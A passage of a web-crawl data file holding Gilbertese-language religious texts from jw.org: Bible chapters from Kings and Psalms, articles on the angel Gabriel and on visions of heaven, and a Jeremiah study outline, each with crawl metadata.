aia umwanrianna: \"E bairea te karitei Timri ao e kamatea naba te uea.\" Ao tibun Iteraera ni kabane a kaueaa Omri+ bwa uean Iteraera n te bong anne i nanon te kaembwa, are te mataniwi n te taanga ni buaka. 17 Ao e waerake mai Kibeton Omri ma tibun Iteraera ni kabane ake raona ao a otabwaninia Tireta. 18 Ngke e noria Timri bwa e a tauaki te kaawa, ao e nako n rin n te taua ae nonoaki are n ana auti* te uea ao e kabueka ana auti te uea ngke e boni mena i nanona ao e a mate iai.+ 19 Aei bon ibukin ana bure ake e karaoi ngke e karaoa ae buakaka i matan Iehova n arona n nakonako ni kawain Ieroboam, ao ibukin te bure are e karekeia iai tibun Iteraera n te bure.+ 20 Ni kaineti ngkanne ma nikiran rongorongon Timri ma ana karitei, tiaki a koreaki n te boki are rongorongon aia tai uean Iteraera? 21 Ngaia are a a bwenauaaki tibun Iteraera nakon uakoraki. Aomata ake te korakina a boutokaa Tibeni are natini Kinata bwa a kani kaueaa, ao ake te korakina a boutokaa Omri. 22 Ma aomata ake a boutokaa Omri a tokanikai i aoia te koraki ake a boutokaa Tibeni are natini Kinata. Ngaia are e a mate Tibeni ao e a riki Omri bwa te uea. 23 N ana ka-31 n ririki n tautaeka Ata are uean Iuta, ao e a riki Omri bwa uean Iteraera ao e tautaeka i nanon 12 te ririki. E tautaeka i Tireta i nanon onoua te ririki. 24 E kabooa maungan Tamaria mairoun Temera n uoua te tarena* n tirewa, ao e katea te kaawa teuana i aon te maunga. E arana te kaawa are e kateia bwa Tamaria,*+ bwa e ingoanna n Temera are te tia bwaibwai* n te maunga. 25 E teimatoa Omri ni karaoa ae buakaka i matan Iehova, ao e buakaka riki nakoia naake imwaina ni kabane.+ 26 E nakonako ni kawain Ieroboam ni kabane are natin Nebata, ao n te bure are e karekeia iai tibun Iteraera n te bure ni kauna Iehova ae Atuan Iteraera n aia bouannanti aika akea manenaia.+ 27 Ni kaineti ngkanne ma nikiran rongorongon Omri, te bwai ae e karaoia ma ana mwakuri aika korakora, tiaki a koreaki n te boki are rongorongon aia tai uean Iteraera? 28 Ao e a wene ni motirawa Omri i rarikia ana bakatibu, ao e kaiiaki i Tamaria, ao e a riki natina are Aaba+ bwa te uea n onea mwina. 29 E riki Aaba are natin Omri bwa te uea i Iteraera n ana ka-38 n ririki n tautaeka Ata are uean Iuta, ao e tautaeka Aaba are natin Omri i aoia tibun Iteraera i Tamaria+ i nanon 22 te ririki. 30 Ao e buakaka riki Aaba are natin Omri i matan Iehova nakoia naake imwaina ni kabane.+ 31 E nakonako teuaei n ana bure nako Ieroboam+ are natin Nebata n aron ae kaanga te bwai ae uarereke irouna, ao e anaa naba Ietebera+ are natin Etabaara are aia uea I-Titon+ bwa buuna, ao e a toro irouni Baara+ ao ni bobaraaki nakoina. 32 Irarikin anne e katea te baonikarea nakoni Baara n ana auti* Baara+ are e kateia i Tamaria. 33 E karaoa naba te kai ae tabu*+ Aaba, ao e kabatiaa riki karaoani baika bubuaka Aaba ni kauna iai Iehova ae Atuan Iteraera nakoia uean Iteraera ni kabane ake imwaina. 34 N ana bong teuaei ao Ieera are kaaini Betaera e a manga katea Ieriko. E mate natina ae ana karimoa ae Abiram ngke e kawenea aana, ao e mate natina ae ana bina ae Tekuba ngke e katei mataroana, n aron ana taeka Iehova are e taekinna rinanon Iotua are natin Nun.+\nTaiani Kabwarabwara Mai Nano\n^ Ae taekan Nataba are natin Ieroboam.\n^ Ebera, \"te aomata ae mira te oo.\" Te taeka n Ebera ni kabuakaka nakoia mwaane.\n^ Ke, \"taan irantangaa raraana.\"\n^ Ke, \"baareti.\"\n^ Ae nanona, \"Ana Bwai te Baronga ae Temera.\"\n^ Ebera, \"te toka.\"\n^ Ke, \"tembora.\"\n^ Nora Nanon Taeka.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-uea\/16\/","date":"2018-02-23T17:08:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814801.45\/warc\/CC-MAIN-20180223154626-20180223174626-00485.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1184,"character_repetition_ratio":0.076,"word_repetition_ratio":0.085,"special_characters_ratio":0.241,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te kaetieti nakon te mataniwi n te anene. Ana areru Tawita. 14 E taku i nanona te aomata ae nanobaba:* \"Akea Iehova.\"+ A kamwara aia mwakuri ao a riribaaki baika a karaoi. Akea temanna ae karaoa ae raoiroi.+ 2 Ma e baraaki Iehova mai karawa n taraiia natiia aomata,Bwa e na noria bwa iai te aomata ae iai ana ataibwai ke akea, ao iai ae e ukoukora Iehova ke akea.+ 3 A bane n rairakinako,+A bane n titeboo aroia ae a babakanikawai,Akea temanna ae karaoa ae raoiroi,Bon akea naba temanna. 4 Te koaua bwa bon akea aia ataibwai taani kakaraoa ae bure? A kabwautiia au aomata kaanga ai aron ae a kana te kariki. A aki wetea Iehova. 5 Ma a na kaonaki n te maakunrang ae korakora,+Bwa e memena Iehova i buakon te roro ae raoiroi. 6 Kam kataia ni kamangaoi ana babaire te aomata ae mangori ngkami aika taani kakaraoa ae bure,Ma Iehova bon ana tabo ni kamanomano.+ 7 E bia roko kamaiuan Iteraera mai Tion!+ Ngkana e ikotiia ni kaokiia ana aomata aika taenikai Iehova,Ke e kimwareirei Iakoba, ao ke e kakatonga Iteraera.\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"aki ataa ae riai.\"","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/14\/","date":"2018-02-23T17:09:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814801.45\/warc\/CC-MAIN-20180223154626-20180223174626-00485.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":188,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E A KAMAN TAEKINA BUNGIAKIN IOANE TE TIA BWABETITO TE ANERA AE KABIRIERA\nE TUANGAKI MARIA IROUNI KABIRIERA BWA E NA BUNGIA IESU\nTi kona n iangoa te Baibara bwa bon te rongorongo mairoun te Atua. E a tia Tamara are i karawa ni katauraoia ibukin reireiara. Iangoi rongorongo aika uoua aika okoro ake a karokoaki 2,000 tabun te ririki n nako. A karokoaki iroun te anera ae arana Kabiriera are \"tei i matan te Atua.\" (Ruka 1:19) Baikara baika riki ni kaineti ma kanakoan rongorongo aika kakawaki iroun te anera?\nTao 3 B.C.E. te tai anne. E karokoa ia te moan rongorongo Kabiriera? N te tabo are e maeka iai ana ibonga Iehova ae Tekaria, ae te tabo ae tabukibuki i Iutaia, ae bae n aki raroa ma Ierutarem. E a boni kara ma buuna ae Eritabeta ao bon akea natiia. Bon ana tai Tekaria ni karaoa tabena n ibonga n ana tembora te Atua i Ierutarem. Ngke e mena n te tembora Tekaria ao akea bwa e a karina naba ni kaoti Kabiriera i rarikini baonikareani baika boiarara.\nE bon rangi ni maaku iai Tekaria. Ma e karaua nanona te anera ni kangai: \"Tai maaku Tekaria, bwa e ongo te Atua ngke ko kakorakorako n tataro ni bubutii, ao ane e na bungia natim te mwaane buum are Eritabeta, ao ko na aranna bwa Ioane.\" E reitia riki n taekina taekan Ioane \"bwa e na kakannato i matan Iehova\" ao e na 'katauraoia aomata imwain Iehova.'—Ruka 1:13-17.\nE taraa ni kangaanga kakoauaan anne iroun Tekaria. Bukin tera? Ibukina bwa a a kara. Ngaia are e a tuangnga Kabiriera ni kangai: \"Ane ko na kainabwabu ao ko na aki kona n taetae ni karokoa te bong are a na riki iai baikai, ibukina bwa ko aki kakoauai au taeka.\"—Ruka 1:20.\nN te tai anne, a a mimi aomata ake i tinanikun te tembora ngkai e tuai man otinako Tekaria. N tokina ao e a otinako ma e a aki kona n taetae. E a tii kona ni kateitea kain ana taeka ni baina. E a kakoauaaki iai bwa e nora te kakai n te tembora.\nImwini banen taben Tekaria n te tembora ao e a okira mwengana. E aki maan imwina ao e a bikoukou Eritabeta! E tiku ni mwengana Eritabeta i nanon nimaua namwakaina ni kararoaa ma aomata, n taningaa bungina.\nImwina ao e a manga kaoti riki Kabiriera te kauatai. Nakon antai? Nakon te ateiaine ae akea buuna ae arana Maria are maeka i meangin te aono ae arana Kariraia ni kaawana ae Natareta. Tera are e tuangnga te anera? E taku: \"Ko akoaki iroun te Atua.\" E reitia riki ni kangai: \"Noria! ane ko na bikoukou ao ko na bungia te nati te mwaane, ao ko na aranna bwa Iesu.\" E a manga taku riki Kabiriera: \"E na kakannato ao e na aranaki bwa Natin Teuare Moan te Rietata, . . . ao e na tautaeka bwa te Uea i aon te utu are Iakoba n aki toki, ao e na akea tokin ana Tautaeka n Uea.\"—Ruka 1:30-33.\nKo kona ni kakoauaa bwa e namakina te kakabwaia Kabiriera ngke e karokoi rongorongo aika uoua aikai. Ngkana ti wareka riki taekan Ioane ao Iesu, e na mataata riki bukini kakawakin rongorongo aika roko mai karawa aikai.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/baika-riki-ni-karokoa-ana-mwakuri-ni-minita-Iesu\/anera-kabiriera-rongorongo-mairoun-te-atua\/","date":"2018-02-20T02:54:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812871.2\/warc\/CC-MAIN-20180220010854-20180220030854-00623.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":540,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Iai n te Baibara miitara tabeua aika kamimi ake a a kairira ni kamatakuira i karawa. Ti kaoko bwa ko na rinanoi miitara aikai. E ngae ngke a kona naba n aki rangi ni mataata raoi bwaai ni kabane aika kabwarabwaraaki ni miitara aikai, ma a kona ni buokiko bwa ko na aki tii kataamneia aroia naake a mena i karawa, ma ko na ota naba bwa tera aron rotakim irouia.\nIEHOVA BON TEUARE MOAN TE RIETATA\n\"Te kaintokanuea ae mena ni nnena i karawa, ao iai ae e tekateka i aona. Ao taraan Teuare tekateka iai, ai aron te atibu ae te iatiba ma te atibu ae te tarerio, ao e otabwaniniaki te kaintokanuea n nei wirara ae ai aron taraan te atibu ae te emerote.\"\n\"Ao e katobibiaki teuaei n te raneanea ae kaanga ai aron nei wirara n te nang n te bong ae kakarau. Anne aron taraan te oota are raneanea are e tobibi. Bon ai aron taraani mimitongin Iehova.\"\nAikai miitara ake e anganaki te abotoro Ioane ma te burabeti are Etekiera, ake a kataamneia tamaroan te Atua ae Moan te Rietata ae Iehova, ni kabonganai baika ti kona n nori, n aron atibu aika raneanea, nei wirara, ao mimitongin te kaintokanuea. Ti a ataa naba tein Iehova mani baikai, bwa e kamimi ma n rianako tamaroana, e kukukurei, ao e rau.\nA boraoi taeka akana kabwarabwaraa te Atua akanne, ma ana taeka te tia areru are korea ae kangai: \"E kakannato Iehova ao e rangi n tau ni karaoiroaki. E kamimi ma ni kakamaaku riki nakoia atua ni kabane. Akea manenaia atua ni kabane aika atuaia botannaomata, ma Iehova boni ngaia ae e karaoa karawa. A mena i matana te karineaki ma te mimitong, ao te korakora ma te tamaroa n ana tabo ae tabu.\"\nE ngae ngke Iehova bon Teuare Moan te Rietata, ma e kaoira bwa ti na kaania n te tataro, ao e karaui nanora bwa e bon ongoraei ara tataro. (Taian Areru 65:2) E rangi n tangirira ao ni mumutiakinira te Atua, ngaia are e boni koaua te abotoro Ioane ngke e korea ae kangai: \"Te Atua bon te tangira.\"—1 Ioane 4:8.\nE MENA IESU I RARIKIN TE ATUA\n\"E on n te taamnei ae raoiroi Tetebano [ae te Kristian ae te tia rimwini Kristo], ao e tararake nako karawa ao e nora mimitongin te Atua ao Iesu ae tei i angaatain te Atua, ao e taku: 'Akea bwa I nora karawa bwa e uki ao Natin te aomata ae tei i angaatain te Atua.'\"\nTabeua te tai imwain ana miitara Tetebano aei, ao e kamateaki Iesu i aan aia kaumaki te koraki ake e bon taetae nakoia Tetebano, aika mataniwi aika I-Iutaia. E kakoauaaki n te miitara aei bwa e a maiu Iesu ao e a tia ni kautaki ma n anganaki karineana. E korea ae kangai te abotoro Bauro ni kaineti ma aei: \"E [kauta Iesu] mai buakoia maate [Iehova] ao e katekatekaa i angaataina i karawa, i aoia tautaeka ni kabane ma taiani mwaaka ma mwioko ao ueea ma aara nako, tiaki tii n te waaki ae ngkai i aon te aba ma n are e na roko naba.\"—I-Ebeto 1:20, 21.\nIrarikini kabwarabwaraan ana tabo ae rietata, e kaotia te Baibara bwa titeboo aron Iesu ma Iehova, ae e rangi ni mumutiakinia naba aomata. N ana tai ni mwakuri ni minita Iesu n te aonnaba, ao e katoki aoraki, e kamarurungia aika mamaara, ao e kautiia maate. Ao rinanon ana karea are e mate iai, e a katerea iai ana tangira ae korakora ibukin te Atua ao aomata. (I-Ebeto 2:4, 5) Ngke e tei Iesu i angaatain te Atua, e a kaotia iai bwa e nangi waekoa ni kabongana mwaakana n tautaeka n uotii iai kakabwaia aika rangi ni bati nakoia aomata nako aika ongeaba.\nA BEKU ANERA IROUN TE ATUA\n\"I teimatoa ni mataku [ngai ae te burabeti ae Taniera] ni karokoa kateakin taiani kaintokanuea ni nneia ao tekatekan Teuare iai Mangkoangkoa [are Iehova]. . . . A bebeku irouna teuana te mirion, ao a tei i matana tebubua te mirion.\"\nN te miitara ibukini karawa aei ao tiaki tii temanna te anera ae e noria Taniera, ma a mwaitikurikuri. Ai boni kamimira ao ai kakamaakura te miitara aei! Anera bon taamnei aika mimitong, a wanawana, ao a mwaaka. Iai anera aika taian terabim ao iai aika taiani kerubim. E raka i aon 250 te tai taekinaia anera n te Baibara.\nAnera bon tiaki aomata ngkoa ake a maeka n te aonnaba. E a kamani karikiia anera te Atua imwain rikia aomata. Ai kaman iai anera, ao a mamataku ma n tatakarua ni kakatonga ngke e kaweneaki aan te aonnaba.\nTe anga teuana ae a beku iai iroun te Atua anera aika kakaonimaki, bon aroia n ibuobuoki n te mwakuri ae te kabanea ni kakawaki ae karaoaki n te aonnaba ni boong aikai, ae tataekinan te rongorongo ae raoiroi ibukin Ana Tautaeka n Uea te Atua. (Mataio 24:14) E kaotaki aroia n ibuobuoki n te mwakuri aei n ana miitara te abotoro Ioane are korea ae kangai: \"I nora te anera riki temanna ae kibakiba i nukani karawa, ao iai irouna te rongorongo ae raoiroi ae teimatoa n aki totoki, ae e na taekinna nakoia aomata ake a maeka n te aonnaba, nakoia natannaomata nako ao baronga ao taian taetae ao botannaomata.\" (Te Kaotioti 14:6) E ngae ngke a aikoa taetae anera ma aomata ni boong aikai n aron are a kakaraoia n tabetai n taai ake rimoa, ma a bon ibuobuoki ni kairiia taan tataekina te rongorongo ae raoiroi nakoia aomata aika raoiroi nanoia.\nE BUREBUREIIA MIRION MA MIRION TATAN\n\"E boo te buaka i karawa. A buakana te rakon Mikaere [ae Iesu Kristo] ma ana anera, ao te rakon ma ana anera a buakania ma a aki tokanikai, ao e a aikoa manga reke aia tabo i karawa. Mangaia are e a tewenakoaki te rakon are korakora, are te naeta nikawai, are arana te Riaboro ao Tatan, are e burebureiia kaain te aonnaba ni kabutaa. E tewenakoaki nakon te aonnaba, ao a tewenakoaki naba ana anera ma ngaia.\"\nE a tia naba n aki teimatoa te rau i karawa. Ni moani karikan te botannaomata, ao iai te anera temanna are e a kororake i nanona te kan taromauriaki, ike e a karitei iai nakon Iehova ao n riki bwa Tatan, ae nanona \"te tia Kaaitara.\" Imwina ao a a manga raonna anera tabeman riki n ana karitei anne ao a riki iai bwa taimonio. A kabanea aia konaa ni karaoa ae buakaka ni kaitaraa Iehova ao ni kairiia angia aomata nakon te kawai ae kaitaraa ana kairiri ae tatangira Iehova.\nA buakaka ma n iowawa Tatan ma ana taimonio. A kairiribai nakoia aomata ao boni ngaiia aika karika te rawawata ae bati n te aonnaba. N te katoto, Tatan e tiringia ana nanai ni man ao ana toro te mwaane ae kakaonimaki are Iobi. Imwina e a manga tiringia ni kabane natin Iobi ake tengaun, ngke e karokoa \"te ang ae korakora\" ni kabwakaa te auti are a mena iai. Imwin anne ao e a manga orea Iobi Tatan ni \"kaboa aika kammaraki, mai nanoni waena ni karokoa taubukin atuna.\"—Iobi 1:7-19; 2:7.\nMa e a kaan te tai are e nang kamaunaaki iai Tatan. Man te tai are e tewenakoaki iai nakon te aonnaba, e a ataia iai ae \"e a kimototo ana tai.\" (Te Kaotioti 12:12) E na boni kamaunanakoaki Tatan, ao anne bon te rongorongo ae kakukurei!\nNAAKE A WAERAKE MAN TE AONNABA\n\"Ko kabooia aomata [ngkoe ae Iesu] . . . bwa ana bwai te Atua mai buakoia baronga nako ma taetae ma natannaomata ma botannaomata, ao ko karaoiia bwa te tautaeka n uea ao ibonga ibukin Atuara, ao a na kairiri bwa ueea n tautaekana te aonnaba.\"\nA na kautaki naba tabemwaang n aron Iesu ngke e kautaki man te aonnaba nakon te maiu i karawa. E taku Iesu nakoia ana abotoro ake a kakaonimaki: \"N nangi nako ni katauraoa te tabo ibukimi. Ao . . . N na manga roko ni butimwaeingkami, bwa ike I mena iai ao kam na mena naba iai.\"\nBon iai bukini waerakeia naake a na nako karawa. A na raona Iesu ni kaaina te Tautaeka n Uea ae i aoni kawaina n tautaekania kaain te aonnaba ni kabane ao n uotii kakabwaia nakoia. Aei te Tautaeka n Uea are e tuangia taan rimwina Iesu bwa a na tataroia, n te tataro ni katoto are e kangai: \"Tamara are i karawa, e bia katabuaki aram. E bia roko am Tautaeka n Uea. E na kakororaoaki nanom i karawa ao n te aonnaba naba.\"\nTE BWAI AE A NA KARAOIA NAAKE I KARAWA\n\"[Ngai ae te abotoro Ioane] I ongo te bwanaa ae korakora man te kaintokanuea ae kangai: 'Noria! E a mena ana umwanrianna te Atua irouia aomata, . . . ao e na kaoa te rannimata ni kabane mai mataia, ao e nang akea riki te mate, ke te nanokawaki ke te tang ke te maraki. A a mauna bwaai rimoa.'\"\nE kaotaki n te mii ni burabeti aei te tai are e nang roko iai Ana Tautaeka n Uea te Atua, ae kaainaki iroun Iesu ma naake a kautaki man te aonnaba, ni kamauna ana waaki n tautaeka Tatan, ao ni karika te aonnaba bwa te bwaretaiti. A nang akea baika karika te maraki ae bati ao te rawawata nakoia aomata. E na maunanako naba te mate.\nMa tera aroia ngkanne aomata aika birion ma birion ake a a tia ni mate, ao a na aki kautaki nako karawa? N te tai ae e na roko ao a na manga kautaki ma ni karekea te kantaninga ae te maiu n aki toki n te aonnaba ae te Bwaretaiti.\nA karauaki nanora ni miitara aikai bwa a bon rangi ni mumutiakinira ao a ukoukora kabwaiara, Iehova ae te Atua ma Natina ae Iesu Kristo, n ikotaki naba ma anera aika kakaonimaki, ao naake a kabooaki man te aonnaba. Ibukin reiakinan riki taekan te bwai ae a na karaoia, ti kaoko bwa ko na reitaki ma Ana Tia Kakoaua Iehova ke kawara ara atureti n te intanete ae www.jw.org, ao karekea mai iai te boki ae Tera Ana Reirei ni Koaua te Baibara?","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na6-2016-nobembwa\/miitara-ibukini-karawa\/","date":"2018-02-21T06:01:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891813431.5\/warc\/CC-MAIN-20180221044156-20180221064156-00669.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1694,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8 Ao e taku Eritai nakon te aine are e kamaiua* ngkoa natina:+ \"Teirake ao naako, ngkoe ma kaaini batam, ao maeka bwa te ianena n te tabo are ko kona ni mena iai, bwa e taekina te rongo Iehova,+ ao e na bon roko i aon te aba i nanon itiua te ririki.\" 2 Mangaia are e teirake te aine arei ao e karaoa are e taku ana aomata te Atua ae koaua. E nako ma kaaini batana ao a maeka i abaia I-Biritia+ i nanon itiua te ririki. 3 Ngke a a koro ririki aika itiua ao e a oki te aine arei mai abaia I-Biritia ao e a nako n tangitang nakon te uea ibukin ana auti ao ana tawaana. 4 E a taetae ngkai te uea nakoni Keati are ana tabonibai ana aomata te Atua ae koaua, ni kangai: \"Taiaoka ma karakin nakoiu bwaai ni kabane aika kakannato ake e karaoi Eritai.\"+ 5 Ngke e tabe ni karakina nakon te uea arona ni kamaiua te aomata are mate,+ ao e a roko naba iroun te uea te aine are e kamaiua ngkoa natina, n tangitang ibukin ana auti ao ana tawaana.+ E a taku naba Keati: \"Au toka ae te uea, ao aei te aine arei, ao aei natina are e kamaiua Eritai.\" 6 Ao te uea e titirakina te aine arei ao e karaki neierei nakoina. Ao te uea e karekea te mataniwi temanna ibukin neiei ao e tuanga teuaei ni kangai: \"Kaoki ana bwai neiei ni kabane ao uaan nako te tawaana man te bong are e kitana iai te aba ni karokoa ngkai.\" 7 E nako Eritai nako Tamateko+ ngke e aoraki uean Turia are Benataata.+ Mangaia are e a kaongoaki ae kangai: \"E a tia n roko ikai ana aomata te Atua ae koaua.\"+ 8 Ao e taku te uea nakon Atiaera:+ \"Uota te bwaintangira aei ao naako kawara ana aomata te Atua ae koaua.+ Titirakina Iehova rinanon teuanne, ni kangai, 'N na marurung man te aoraki aei?'\" 9 E nako Atiaera ni kawaria ao e uota te bwaintangira, aika bwain Tamateko aika raraoi n aekaia nako, aika uotaia kamero aika 40. E nako ao e tei i matana ao e taku: \"E kanakoai nakoim natim are Benataata are uean Turia bwa N na titirakiniko ni kangai, 'N na marurung man te aoraki aei?'\" 10 E kaeka ni kangai Eritai nakon teuaei: \"Naako ao tuangnga ni kangai, 'Ko na boni marurung,' ma e a tia Iehova ni kaotia nakoiu bwa e na boni mate.\"+ 11 Ao e teimatoa teuaei n taraa Atiaera ni karokoa ae e a maamaa. Ao e a tang ana aomata te Atua ae koaua. 12 E titiraki ni kangai Atiaera: \"E aera ngkai e a tang au toka?\" E kaeka ni kangai: \"Ibukina bwa I bon ataa te iowawa ae ko na karaoia nakoia tibun Iteraera.+ Ko na kabueki n te ai aia tabo aika nonoaki, ko na kamateia n te kabaang aia rorobuaka aika rangi n raoiroi, ko na tiringia aia ataei n te aro ae iowawa, ao ko na bwenai birotoia aia aine aika bikoukou.\"+ 13 E taku Atiaera: \"E na kangaa ni karaoa te mwakuri anne am toro ngkai bon tii te kamea ngaia?\" Ma e taku Eritai: \"E a tia Iehova ni kaotia nakoiu bwa ko na uea i aon Turia.\"+ 14 Ao e kitana Eritai ao e okira ana toka, are e a kangai nakoina: \"Tera ae e taekinna nakoim Eritai?\" E kaeka ni kangai: \"E tuangai bwa ko na boni marurung.\"+ 15 Ma n te bong are imwina ao e anaa te rabuna Atiaera, ao e kateboa n te ran ao e rabuna* iai ubuna ni karokoa ae e mate.+ Ao e a riki Atiaera bwa te uea n onea mwina.+ 16 N ana kanimaua n ririki n tautaeka Ioram+ are natin Aaba are uean Iteraera, ngke e uea Ieotiabata i aon Iuta, ao e a riki bwa te uea Ioram+ are natin Ieotiabata are uean Iuta. 17 Bon 32 ana ririki ngke e a riki bwa te uea, ao e tautaeka i Ierutarem i nanoni wanua te ririki. 18 E nakonako ni kawaia uean Iteraera,+ n aron are a karaoia ana utu Aaba,+ bwa e riki natin Aaba te aine bwa buuna,+ ao e teimatoa teuaei ni karaoa ae buakaka i matan Iehova.+ 19 Ma e aki kani kamauna te tautaeka n uea ae Iuta Iehova ibukin Tawita are ana toro,+ kioina ngke e a tia ni berita nakoina bwa e na anga te taura nakoina+ ma natina n taai nako. 20 N ana bong teuaei ao e a karitei Etom n ekaanako Iuta+ ao e a karekea oin ana uea.+ 21 Mangaia are e mwananga Ioram nako Taiara ma ana kaa ni buaka ni kabane, ao e teirake n te bong ao e kataei aia kai tibun Etom ake a otabwaninia ma mataniwin taiani kaa ni buaka, ao a birinako kaain te taanga ni buaka nakon aia umwanrianna. 22 Ma e teimatoa Etom ni karitei n ekaanako Iuta ni karokoa te bong aei. E karitei naba Ribena+ n te tai anne. 23 Ao nikiran rongorongon Ioram ma bwaai ni kabane ake e karaoi, tiaki a koreaki n te boki are rongorongon aia tai uean Iuta? 24 Ao e a wene ni motirawa Ioram i rarikia ana bakatibu, ao e kaiiaki i rarikia ana bakatibu n Ana Kaawa Tawita.+ Ao e a riki natina are Aatia+ bwa te uea n onea mwina. 25 N ana ka-12 n ririki n tautaeka Ioram are natin Aaba are uean Iteraera, ao e a riki bwa te uea Aatia are natin te Uea are Ioram are uean Iuta.+ 26 Bon 22 ana ririki Aatia ngke e riki bwa te uea, ao e tautaeka i Ierutarem i nanon teuana te ririki. Aran tinana Atariia+ are tibun* te Uea are Omri+ are uean Iteraera. 27 E nakonako teuaei ni kawaia ana utu Aaba,+ ao e teimatoa ni karaoa ae buakaka i matan Iehova, n aroia ana utu Aaba, bwa ana koraki teuaei kaain ana utu Aaba, bwa e mare+ nako iai. 28 Mangaia are e mwananga teuaei ma Ioram are natin Aaba bwa a na buakana Atiaera are Uean Turia i Ramotakireata,+ ma a kaikoaka Ioram+ I-Turia. 29 Mangaia are e a oki te Uea are Ioram nako Ietireera+ bwa e na kamarurungnga man ikoakina are a kaikoakia iai I-Turia i Rama, ngke e buaka ma te Uea are Atiaera are uean Turia.+ Ao Aatia are natin Ioram are uean Iuta e ruo rikaaki nako Ietireera bwa e na nora Ioram are natin Aaba, ibukina bwa e ikoaki* teuaei.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-uea\/8\/","date":"2018-02-24T21:39:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815951.96\/warc\/CC-MAIN-20180224211727-20180224231727-00635.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1116,"character_repetition_ratio":0.057,"word_repetition_ratio":0.011,"special_characters_ratio":0.249,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E anganaki Ieremia te mwioko ae kangaanga are e kamataata ana motinnano Iehova ni kaineti ma uruani kainikatongaia ae korakora kaain Iuta ao Iteraera.\nE kabooa Ieremia te kabaea n nuka ae te rinen\nE tei te kabaea n nuka ae nimta te bebee ibukin te reitaki ae kaan ae kona n reke i marenan Iehova ma te natannaomata\nE anaa Ieremia te kabaea n nuka ao n uotia nakon te Karaanga ae Iuberetiti\nE karabaa n tabwenan te bwaa ae rietata, ao imwina e a manga okira Ierutarem\nE a manga okira te Karaanga ae Iuberetiti Ieremia n anaa te kabaea n nuka\nE uruaki te kabaea n nuka\nE kamataata te bwai ae riki Iehova ngke e a tia Ieremia ni karaoa mwiokoana\nN ongeaban Ieremia n te baere e karaoia ae tao e aki rangi ni kakawaki, e a kaotaki iai korakoran nanon Iehova ni kan atai raoi nanoia aomata","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/maati-2017-mwb\/kaetieti-n-te-botaki-maa27-ebe2\/a-mwaninga-taekan-Iehova-tibun-Iteraera\/","date":"2018-02-20T01:38:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812871.2\/warc\/CC-MAIN-20180220010854-20180220030854-00005.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":153,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.477,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16 E teirake ngkanne Kora+ are natin Itia+ are natini Koata,+ are natin Rewi,+ n ikotaki ma Ratan ao Abiram ake natin Eriaba,+ ma On are 